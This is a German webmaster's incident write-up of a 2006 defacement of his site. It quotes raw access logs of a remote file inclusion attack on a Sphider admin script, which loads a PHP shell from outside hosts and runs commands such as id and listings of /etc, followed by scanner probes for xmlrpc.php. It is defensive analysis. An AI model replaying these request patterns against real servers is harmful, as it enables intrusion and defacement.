13. April 2006: msexchangefaq.de hacked

Aufgrund dieses Angriffs musste ich die lokale Suchmaschine für einige Tage abschalten.

Tja irgendwann musste es ja mal passieren, dass auch die MSXFAQ "gehacked" wird. Viele Besucher ziehen natürlich auch kriminelle Personen geradezu an. Und so konnten Sie am 13. April 2006 von ca. Mitternacht bis ca. 09:00 Uhr folgende Startseite "bewundern".

Für alle "Nicht Türken": Die Seite bestand eigentlich nur aus der index.htm mit dem Laufband "HACKED BY ...". Die per IFRAME eingebundene Seite selbst ist wohl auch nur "Opfer" und zumindest nicht als Radikal oder Extremistisch einzustufen. Vielleicht wollte der Hacker auch nur etwas Werbung für diese Seite machen.

Sonst wurden keine Inhalte verändert, d.h. direkte "Deep Links" oder Links von Suchmaschinen waren weiter in Funktion. Auch die Spiegelseiten auf den anderen MSXFAQ-Domains  (.de, .net, .com, .info und .eu) konnten problemlos weiter erreicht werden.

Vielen Dank hierbei an 1und1, die mich morgens direkt angerufen und informiert haben. Entweder hat 1und1 ein entsprechendes Überwachungsprogramm, welches URLs oder Veränderungen erkennt oder 1und1 nutzt selbst die MSXFAQ sehr intensiv. Auch bei der Analyse des Hacks war 1und1 sehr hilfsbereit. Ein großes Lob noch mal an dieser Stelle.

Analyse des Hacks

Natürlich musste ich nun wissen, welchen Weg der Angreife genommen hatte. Kannte er mein Kennwort für den FTP-Upload, war ein Script auf der Webseite das Problem oder lag sogar ein Bug im Apache des Webservers vor ? Erster Schritt war daher der Download der FTP-Logs und HTTP-Logs. Wenn der Angreifer natürlich mein FTP-Kennwort gewusst hätte, dann könnte er auch seine Spuren verschleiern, aber wenn nicht ?.

Im FTP-Log habe ich keine Zugriffe gesehen, die zur fraglichen Zeit stattgefunden haben. Aber im HTTP-Log sind dann doch einige Zugriffe aufgefallen. (Die Daten wurden gekürzt)

81.214.174.142 - - [13/Apr/2006:00:03:25 +0200] "GET /sphider/admin/configset.php?cmd=\".$cmd.\"&settings_dir=http://6666.com.ru/tool25.dat?&list=1&cmd=id HTTP/1.0" 200 10382 www.msexchangefaq.de "-" "Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.0)" "-"
81.214.174.142 - - [13/Apr/2006:00:54:25 +0200] "GET /sphider/admin/configset.php?cmd=\".$cmd.\"&settings_dir=http://www.impactmats.com/kk.txt? HTTP/1.1" 200 7268 www.msexchangefaq.de "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" "-"
81.214.174.134 - - [13/Apr/2006:00:57:49 +0200] "GET /sphider/admin/configset.php?cmd=%5C%22.%24cmd.%5C%22&settings_dir=http%3A%2F%2Fwww.impactmats.com%2Fkk.txt%3F&&s=r&cmd=dir&dir=. HTTP/1.1" 200 25367 www.msexchangefaq.de "http://www.msexchangefaq.de/sphider/admin/configset.php?cmd=\".$cmd.\"&settings_dir=http://www.impactmats.com/kk.txt?" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" "-"
81.214.174.134 - - [13/Apr/2006:00:58:07 +0200] "POST /sphider/admin/configset.php?cmd=dir&settings_dir=http%3A%2F%2Fwww.impactmats.com%2Fkk.txt%3F&&s=r& HTTP/1.1" 200 29199 www.msexchangefaq.de "http://www.msexchangefaq.de/sphider/admin/configset.php?cmd=%5C%22.%24cmd.%5C%22&settings_dir=http%3A%2F%2Fwww.impactmats.com%2Fkk.txt%3F&&s=r&cmd=dir&dir=." "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" "-"
81.214.174.134 - - [13/Apr/2006:00:58:23 +0200] "GET /sphider/admin/configset.php?cmd=%5C%22.%24cmd.%5C%22&settings_dir=http%3A%2F%2Fwww.impactmats.com%2Fkk.txt%3F&&s=r&cmd=dir&dir=. HTTP/1.1" 200 25478 www.msexchangefaq.de "http://www.msexchangefaq.de/sphider/admin/configset.php?cmd=\".$cmd.\"&settings_dir=http://www.impactmats.com/kk.txt?" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" "-"
81.214.174.134 - - [13/Apr/2006:00:58:36 +0200] "POST /sphider/admin/configset.php?cmd=dir&settings_dir=http%3A%2F%2Fwww.impactmats.com%2Fkk.txt%3F&&s=r& HTTP/1.1" 200 95028 www.msexchangefaq.de "http://www.msexchangefaq.de/sphider/admin/configset.php?cmd=%5C%22.%24cmd.%5C%22&settings_dir=http%3A%2F%2Fwww.impactmats.com%2Fkk.txt%3F&&s=r&cmd=dir&dir=." "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" "-"
81.214.174.134 - - [13/Apr/2006:00:58:50 +0200] "GET /sphider/admin/configset.php?cmd=dir&settings_dir=http%3A%2F%2Fwww.impactmats.com%2Fkk.txt%3F&&s=r&cmd=edit&file=/homepages/46/d13357869/htdocs/msxfaq//index.htm HTTP/1.1" 200 38864 www.msexchangefaq.de "http://www.msexchangefaq.de/sphider/admin/configset.php?cmd=dir&settings_dir=http%3A%2F%2Fwww.impactmats.com%2Fkk.txt%3F&&s=r&" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" "-"
81.214.174.134 - - [13/Apr/2006:00:59:02 +0200] "POST /sphider/admin/configset.php?cmd=edit&settings_dir=http%3A%2F%2Fwww.impactmats.com%2Fkk.txt%3F&&s=r& HTTP/1.1" 200 6099 www.msexchangefaq.de "http://www.msexchangefaq.de/sphider/admin/configset.php?cmd=dir&settings_dir=http%3A%2F%2Fwww.impactmats.com%2Fkk.txt%3F&&s=r&cmd=edit&file=/homepages/46/d13357869/htdocs/msxfaq//index.htm" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" "-"
81.214.174.134 - - [13/Apr/2006:01:00:17 +0200] "POST /sphider/admin/configset.php?cmd=dir&settings_dir=http%3A%2F%2Fwww.impactmats.com%2Fkk.txt%3F&&s=r& HTTP/1.1" 200 138685 www.msexchangefaq.de "http://www.msexchangefaq.de/sphider/admin/configset.php?cmd=dir&settings_dir=http%3A%2F%2Fwww.impactmats.com%2Fkk.txt%3F&&s=r&" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" "-"
81.214.174.134 - - [13/Apr/2006:01:01:04 +0200] "GET /sphider/admin/configset.php?cmd=dir&settings_dir=http%3A%2F%2Fwww.impactmats.com%2Fkk.txt%3F&&s=r&cmd=dir&dir=/homepages/46//d10785136 HTTP/1.1" 200 18277 www.msexchangefaq.de "http://www.msexchangefaq.de/sphider/admin/configset.php?cmd=dir&settings_dir=http%3A%2F%2Fwww.impactmats.com%2Fkk.txt%3F&&s=r&" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" "-"
81.214.174.134 - - [13/Apr/2006:01:01:10 +0200] "GET /sphider/admin/configset.php?cmd=dir&settings_dir=http%3A%2F%2Fwww.impactmats.com%2Fkk.txt%3F&&s=r&cmd=dir&dir=/homepages/46/d10785136/htdocs HTTP/1.1" 200 10340 www.msexchangefaq.de "http://www.msexchangefaq.de/sphider/admin/configset.php?cmd=dir&settings_dir=http%3A%2F%2Fwww.impactmats.com%2Fkk.txt%3F&&s=r&cmd=dir&dir=/homepages/46//d10785136" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" "-"
81.214.174.134 - - [13/Apr/2006:01:01:18 +0200] "GET /sphider/admin/configset.php?cmd=dir&settings_dir=http%3A%2F%2Fwww.impactmats.com%2Fkk.txt%3F&&s=r&cmd=dir&dir=/homepages/46//d10786452 HTTP/1.1" 200 18935 www.msexchangefaq.de "http://www.msexchangefaq.de/sphider/admin/configset.php?cmd=dir&settings_dir=http%3A%2F%2Fwww.impactmats.com%2Fkk.txt%3F&&s=r&" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" "-"
81.214.174.134 - - [13/Apr/2006:01:01:22 +0200] "GET /sphider/admin/configset.php?cmd=dir&settings_dir=http%3A%2F%2Fwww.impactmats.com%2Fkk.txt%3F&&s=r&cmd=dir&dir=/homepages/46/d10786452/htdocs HTTP/1.1" 200 10347 www.msexchangefaq.de "http://www.msexchangefaq.de/sphider/admin/configset.php?cmd=dir&settings_dir=http%3A%2F%2Fwww.impactmats.com%2Fkk.txt%3F&&s=r&cmd=dir&dir=/homepages/46//d10786452" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" "-"
81.214.174.134 - - [13/Apr/2006:01:01:48 +0200] "POST /sphider/admin/configset.php?cmd=dir&settings_dir=http%3A%2F%2Fwww.impactmats.com%2Fkk.txt%3F&&s=r& HTTP/1.1" 200 44009 www.msexchangefaq.de "http://www.msexchangefaq.de/sphider/admin/configset.php?cmd=dir&settings_dir=http%3A%2F%2Fwww.impactmats.com%2Fkk.txt%3F&&s=r&cmd=dir&dir=/homepages/46/d10786452/htdocs" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" "-"
81.214.174.134 - - [13/Apr/2006:01:01:59 +0200] "GET /sphider/admin/configset.php?cmd=dir&settings_dir=http%3A%2F%2Fwww.impactmats.com%2Fkk.txt%3F&&s=r&cmd=dir&dir=//var HTTP/1.1" 200 26146 www.msexchangefaq.de "http://www.msexchangefaq.de/sphider/admin/configset.php?cmd=dir&settings_dir=http%3A%2F%2Fwww.impactmats.com%2Fkk.txt%3F&&s=r&" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" "-"
81.214.174.134 - - [13/Apr/2006:01:02:31 +0200] "GET /sphider/admin/configset.php?cmd=dir&settings_dir=http%3A%2F%2Fwww.impactmats.com%2Fkk.txt%3F&&s=r&cmd=dir&dir=//etc. HTTP/1.1" 200 159135 www.msexchangefaq.de "http://www.msexchangefaq.de/sphider/admin/configset.php?cmd=dir&settings_dir=http%3A%2F%2Fwww.impactmats.com%2Fkk.txt%3F&&s=r&" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" "-"
80.136.222.172 - - [13/Apr/2006:02:10:52 +0200] "GET /index.php HTTP/1.1" 300 425 www.msexchangefaq.de "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" "-"
80.136.222.172 - - [13/Apr/2006:02:10:56 +0200] "GET /index.htm HTTP/1.1" 200 240 www.msexchangefaq.de "http://www.msexchangefaq.de/index.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" "-"
81.214.169.208 - - [13/Apr/2006:05:28:15 +0200] "GET /sphider/admin/configset.php?cmd=\".$cmd.\"&settings_dir=http://6666.com.ru/tool25.dat?&list=1&cmd=id HTTP/1.0" 200 10382 www.msexchangefaq.de "-" "Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.0)" "-"

Es ist gut zu sehen, dass der Angriff gegen 00:03:25 angefangen hat. Welche der Seiten nun die index.htm auf der MSXFAQ ausgetauscht hat, habe ich nicht mehr genauer analysiert. Aber man sieht wohl, dass über den klassischen URL-Traversal eine andere Konfigurationsdatei dem untergeschoben wurde. Die damit heruntergeladene Datei enthält PHP-Code, der anscheinend einen Zugriff auf die Verzeichnisses des Webservers ähnlich einer Shell zulässt, d.h. Dateien herunterladen und hochladen kann. Das bedeutet natürlich, das damit auch ein Zugriff auf "Sourcen" und damit auch Kennworten in diesen Quellen möglich ist.

Zum Glück nutzen ich schon aus Prinzip für jeden einzelnen Zugang eigene Kennworte, so dass der Angreifer vielleicht das Kennwort für den MySQL-Zugang ausspähen konnte aber damit natürlich nicht die Verwaltung meines Vertrags möglich ist. Dennoch habe ich alle Kennworte natürlich erst mal geändert. Schon allein um sicher zu sein, dass dies nicht ein Angreifer gemacht hat.

Hintergrund und zeitlicher Ablauf

Heute, einen Tag danach habe ich mir mal genauer angeschaut, was da passiert ist und eine kurze Suche bei Google hat ergeben.

Interessant ist natürlich wenn man nun das Log gezielt nach dem Aufruf von PHP-Seiten durchforstet, die es ja in meiner Präsenz mit Ausnahme der Suchmaschine nicht gibt. Und es gibt tatsächlich jede Menge Systeme, die sohl nichts besseres zu tun haben, als Schwachstellen zu suchen. Hier ein Auszug:

66.227.79.1 - - [13/Apr/2006:02:17:52 +0200] "GET /a1b2c3d4e5f6g7h8i9/nonexistentfile.php HTTP/1.0" 302 208 - "-" "-" "-"
66.227.79.1 - - [13/Apr/2006:02:17:52 +0200] "GET /adxmlrpc.php HTTP/1.0" 200 2107 - "-" "-" "-"
66.227.79.1 - - [13/Apr/2006:02:17:56 +0200] "GET /adserver/adxmlrpc.php HTTP/1.0" 302 208 - "-" "-" "-"
66.227.79.1 - - [13/Apr/2006:02:17:56 +0200] "GET /phpAdsNew/adxmlrpc.php HTTP/1.0" 302 208 - "-" "-" "-"
66.227.79.1 - - [13/Apr/2006:02:17:56 +0200] "GET /phpadsnew/adxmlrpc.php HTTP/1.0" 302 208 - "-" "-" "-"
66.227.79.1 - - [13/Apr/2006:02:17:56 +0200] "GET /phpads/adxmlrpc.php HTTP/1.0" 302 208 - "-" "-" "-"
66.227.79.1 - - [13/Apr/2006:02:17:57 +0200] "GET /Ads/adxmlrpc.php HTTP/1.0" 302 208 - "-" "-" "-"
66.227.79.1 - - [13/Apr/2006:02:17:57 +0200] "GET /ads/adxmlrpc.php HTTP/1.0" 302 208 - "-" "-" "-"
217.160.222.42 - - [14/Apr/2006:04:58:53 +0200] "GET /b2/xmlsrv/xmlrpc.php HTTP/1.0" 302 208 - "-" "-" "-"
217.160.222.42 - - [14/Apr/2006:04:58:53 +0200] "GET /b2evo/xmlsrv/xmlrpc.php HTTP/1.0" 302 208 - "-" "-" "-"
217.160.222.42 - - [14/Apr/2006:04:58:53 +0200] "GET /wordpress/xmlrpc.php HTTP/1.0" 302 208 - "-" "-" "-"
217.160.222.42 - - [14/Apr/2006:04:58:53 +0200] "GET /phpgroupware/xmlrpc.php HTTP/1.0" 302 208 - "-" "-" "-"
217.160.222.42 - - [14/Apr/2006:04:58:53 +0200] "GET /a1b2c3d4e5f6g7h8i9/nonexistentfile.php HTTP/1.0" 302 208 - "-" "-" "-"
217.160.222.42 - - [14/Apr/2006:04:58:53 +0200] "GET /adxmlrpc.php HTTP/1.0" 200 2107 - "-" "-" "-"
217.160.222.42 - - [14/Apr/2006:04:58:53 +0200] "GET /adserver/adxmlrpc.php HTTP/1.0" 302 208 - "-" "-" "-"
217.160.222.42 - - [14/Apr/2006:04:58:53 +0200] "GET /phpAdsNew/adxmlrpc.php HTTP/1.0" 302 208 - "-" "-" "-"
217.160.222.42 - - [14/Apr/2006:04:58:53 +0200] "GET /phpadsnew/adxmlrpc.php HTTP/1.0" 302 208 - "-" "-" "-"
217.160.222.42 - - [14/Apr/2006:04:58:53 +0200] "GET /phpads/adxmlrpc.php HTTP/1.0" 302 208 - "-" "-" "-"
217.160.222.42 - - [14/Apr/2006:04:58:53 +0200] "GET /Ads/adxmlrpc.php HTTP/1.0" 302 208 - "-" "-" "-"
217.160.222.42 - - [14/Apr/2006:04:58:53 +0200] "GET /ads/adxmlrpc.php HTTP/1.0" 302 208 - "-" "-" "-"
217.160.222.42 - - [14/Apr/2006:04:58:53 +0200] "GET /xmlrpc.php HTTP/1.0" 200 2107 - "-" "-" "-"
217.160.222.42 - - [14/Apr/2006:04:58:53 +0200] "GET /xmlrpc/xmlrpc.php HTTP/1.0" 302 208 - "-" "-" "-"
217.160.222.42 - - [14/Apr/2006:04:58:53 +0200] "GET /xmlsrv/xmlrpc.php HTTP/1.0" 302 208 - "-" "-" "-"
217.160.222.42 - - [14/Apr/2006:04:58:53 +0200] "GET /blog/xmlrpc.php HTTP/1.0" 302 208 - "-" "-" "-"
217.160.222.42 - - [14/Apr/2006:04:58:53 +0200] "GET /drupal/xmlrpc.php HTTP/1.0" 302 208 - "-" "-" "-"
217.160.222.42 - - [14/Apr/2006:04:58:53 +0200] "GET /community/xmlrpc.php HTTP/1.0" 302 208 - "-" "-" "-"
217.160.222.42 - - [14/Apr/2006:04:58:53 +0200] "GET /blogs/xmlrpc.php HTTP/1.0" 301 235 - "-" "-" "-"
217.160.222.42 - - [14/Apr/2006:04:58:53 +0200] "GET /blogs/xmlsrv/xmlrpc.php HTTP/1.0" 301 242 - "-" "-" "-"
217.160.222.42 - - [14/Apr/2006:04:58:53 +0200] "GET /blog/xmlsrv/xmlrpc.php HTTP/1.0" 302 208 - "-" "-" "-"
217.160.222.42 - - [14/Apr/2006:04:58:53 +0200] "GET /blogtest/xmlsrv/xmlrpc.php HTTP/1.0" 302 208 - "-" "-" "-"
217.37.30.181 - - [14/Apr/2006:08:17:28 +0200] "POST /xmlrpc.php HTTP/1.1" 404 2130 212.227.144.210 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)" "-"
217.37.30.181 - - [14/Apr/2006:08:17:30 +0200] "POST /blog/xmlrpc.php HTTP/1.1" 302 220 212.227.144.210 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)" "-"
217.37.30.181 - - [14/Apr/2006:08:17:40 +0200] "POST /blog/xmlsrv/xmlrpc.php HTTP/1.1" 302 220 212.227.144.210 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)" "-"

Also ist Schutz erforderlich. Wenn Sie einen Webserver betreiben, dann können Sie natürlich solche URLS mittels IISLockDown und URLScan und MOD_Rewrite sehr früh abwehren.

Meine Lehren

Meine Wünsche

Keywords: PHP Hacked